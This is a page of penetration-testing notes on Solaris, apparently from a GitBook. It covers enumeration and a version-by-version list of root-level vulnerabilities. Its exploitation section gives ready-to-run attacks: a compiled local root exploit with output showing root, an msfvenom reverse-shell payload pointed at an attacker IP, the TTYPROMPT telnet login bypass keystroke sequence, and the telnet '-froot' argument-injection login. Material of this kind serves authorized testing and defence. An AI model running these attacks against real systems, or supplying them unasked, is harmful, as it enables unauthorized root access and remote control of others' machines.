Infrastructure penetration testing notes
  • Initial page
  • Table Of Content
  • Infrastructure testing
    • Enumeration
      • Packet Capture
      • Host Discovery
      • Services / Ports
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 53 - DNS
        • 67 - DHCP
        • 69 - TFTP
        • 79 - Finger
        • 88 - Kerberos
        • 111 - RPC
        • 113 - ident
        • 135 - MSRPC
        • 137 - Netbios
        • 139/445 - SMB
        • 161 - SNMP
        • 177 - XDMCP
        • 363 - LDAP
        • 443 - HTTPS
        • 500 - IKE (IPSEC)
        • 512/513/514 - R Services
        • 623 - IPMI
        • 873 - RSYNC
        • 1099 - Java RMI
        • 1433 - Microsoft SQL
        • 1521 - Oracle DB
        • 2049 - NFS
        • 3306 - MySQL
        • 3389 - RDP
        • 5432 - PostgresSQL
        • 5900 - VNC
        • 5985 - WinRM
        • 6000 - X11
        • 6379 - Redis
        • 8080 - Jenkins
        • 11211 - Memcached
        • RDS
        • SQLite
        • Docker
      • IPV6
        • Scanning
        • Enumeration
        • Transfering files
        • Pivoting and routes
        • THC IPv6
    • Gaining Access
      • IP Forwarding
      • VLAN Information
      • Psexec
      • Upgrading shell
      • Reverse Shells One-Liners
      • Bruteforce
      • MITM cleartext protocols
      • Null session
      • LLMNR / NBT NS Spoofing
      • Port knocking
      • Downloading/Transfer files
      • Remote Desktop
      • NAC Bypass
      • Pass-The-Hash
    • Exploitation
      • Solaris
      • IPv6
      • Windows
        • Compiling Code
        • SMB Vulnerabilities
        • Kerberos Attacks
    • Privilege Escalation
      • Situational Awareness
        • Linux
        • Windows
          • Registry
          • PowerView
          • FSMO Roles
      • Windows
        • Disable Apps and Firewall
        • Add user script
        • UAC Bypass
        • icacls
        • Running services
        • Common Exploits
      • Linux
        • SUID Shell script
        • CVE-2019-14287
        • Kernel exploit
      • Solaris
      • FreeBSD
      • Automated tools
      • Metasploit Modules
      • Password Dumping
    • Breakout
      • LOLBas
      • powershell constrained language byass
      • Alternatives to command prompt
      • Windows utilities
      • Applocker
      • Restricted shells
      • Environmental Variables / Bypassing Path Restrictions
      • Docker escape
      • Just Enough Administration (JEA)
    • Presistance
      • Windows
    • Pivoting
      • Adding routes
    • Password Cracking
      • Hashcat
      • John
      • Cisco Passwords
      • Passwords Lists
      • Generating wordlist
    • Tools
      • Nishang
      • UACME
      • Bypass-UAC
      • MSBuildAPICaller
      • Impacket
      • SharpPersist
      • Terminals
      • IP Calculation
      • pwsh
      • psTools / Sysinternals
      • Unlock applocker
      • enum4linux
      • Bloodhound
        • aclpwn
      • mitm6
      • Enyx
      • nfsshell
      • PowerUpSQL
      • Metasploit
        • msfvenom
    • Others
Powered by GitBook
On this page
  • Enumeration
  • Patch check analyser
  • Common Solaris Vulnerabilities
  • Solaris 7
  • Solaris 8
  • solaris 9:
  • Solaris 10
  • Solaris 11
  • Exploits
  • Solaris 8 finger
  • Solaris exploits
  • Msfvenom payload
  • TTYPROMPT exploit
  • Telnet exploit (fuser)

Was this helpful?

  1. Infrastructure testing
  2. Exploitation

Solaris

Information gathering and exploitation

PreviousExploitationNextIPv6

Last updated 4 years ago

Was this helpful?

Enumeration

View patches

showrev -p

Installed packages:

Pkginfo OR pkginfo -x

Host information

uname -a

Show IP interface:

Ifconfig -a

Process list:

/usr/ucb/ps -auxww

Patch check analyser

Patch Check Advanced (PCA) generates lists of installed and missing patches for Oracle Solaris systems and optionally downloads patches. It resolves dependencies between patches and installs them in correct order. It can be the only tool you ever need for patch management, be it on a single machine or a complete network. Just one perl script, it doesn't need compilation nor installation, and it doesn't need root permissions to run. It works on all versions of Solaris, both SPARC and x86.

Usage:

./pca.pl –f . –l missings

will produce a list of missing patches, the following is an example. Note the ‘.’ Represents the current directory so ensure that the three files are in the same directory.

Common Solaris Vulnerabilities

Solaris 7

  • sadmind_exec SADMIND - weakness in default security settings - allows root - rootdown.pl

  • **ttyprompt TELNET - buffer overflow in solaris login - manual through telnet client

  • sendmail_exec LPD - line printer daemon buffer overflow - allows root

  • heap_noir DTSPCD - CDE common desktop environment heap overflow TCP port 6112, runs with root

  • ypupdated_exec YPUPDATED - weakness in handling of the command shell - allows root

  • kcms_readfile kcms / ttdbserverd remote file read (only in msf2)

Solaris 8

  • sadmind_exec SADMIND - weakness in default security settings - allows root - rootdown.pl

  • **ttyprompt TELNET - buffer overflow in solaris login - manual through telnet client

  • sendmail_exec LPD - line printer daemon buffer overflow - allows root

  • heap_noir DTSPCD - CDE common desktop environment heap overflow TCP port 6112, runs with root

  • ypupdated_exec YPUPDATED - weakness in handling of the command shell - allows root.

  • no exploit - sadmind_adm_build_path SADMIND - stack buffer overflow in adm_build_path() function.

  • kcms_readfile kcms / ttdbserverd remote file read (only in msf2)

solaris 9:

  • sadmind_exec SADMIND - weakness in default security settings - allows root - rootdown.pl

  • ypupdated_exec YPUPDATED - weakness in handling of the command shell - allows root.

  • sadmind_adm_build_path SADMIND - stack buffer overflow in adm_build_path() function.

  • kcms_readfile kcms / ttdbserverd remote file read (only in msf2)

Solaris 10

  • fuser TELNET - authentication bypass through -f command - can be manually exploited

  • ypupdated_exec YPUPDATED - weakness in handling of the command shell - allows root.

Solaris 11

  • fuser TELNET - authentication bypass through -f command - can be manually exploited

Exploits

Solaris 8 finger

finger '1 2 3 4 5 6 7 8 9 0'@target

Solaris exploits

https://github.com/0xdea/exploits

raptor_passwd

$ gcc raptor_passwd.c -o passwd -ldl -Wall
$./raptor_passwd p@ssw0rd
raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9
Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
Using SI_PLATFORM : SUNW,UltraAX-i2 (5.9)
Using stack base : 0xffbffffc
Using var address : 0xffbffb58
Using rwx_mem address : 0xff3f6004
Using sc address : 0xffbfff9c
Using ff address : 0xffbfff58
Using strcpy() address : 0xff3e0288
"Pai Mei taught you the five point palm exploding heart technique?" -- Bill
"Of course." -- Beatrix Kidd0, alias Black Mamba, alias The Bride (KB Vol2)
# id;uname -a;uptime;
uid=0(root) gid=9610(gengrp) egid=3(sys)
SunOS wks1 5.9 Generic sun4u sparc SUNW,UltraAX-i2
1:53pm up 1 day(s), 16:32, 1 user, load average: 0.00, 0.00, 0.01
#

Msfvenom payload

msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf

TTYPROMPT exploit

Solaris TTYPROMPT Security Vulnerability (Telnet)

This vulnerability is very simple to exploit, since it does not require any code to be compiled by an attacker. The vulnerability only requires the attacker to simply define the environment variable TTYPROMPT to a 6-character string, inside telnet. Jonathan believes this overflows an integer inside login, which specifies whether the user has been authenticated (just a guess).

Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed).

Example:

coma% telnet  
telnet> environ define TTYPROMPT abcdef  
telnet> o localhost  
SunOS 5.8  
bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n  
Last login: whenever  
$ whoami bin  

Metasploit:

Solaris in.telnetd TTYPROMPT Buffer Overflow

msf > use exploit/solaris/telnet/ttyprompt

Telnet exploit (fuser)

exploits the argument injection vulnerability in the telnet daemon (in.telnetd) of Solaris 10 and 11.

Command line:

telnet -l "-fbin" target_address 
Or also 
telnet -l "-froot" 192.168.0.1 

Metasploit:

msf > use exploit/solaris/telnet/fuser

http://www.par.univie.ac.at/solaris/pca/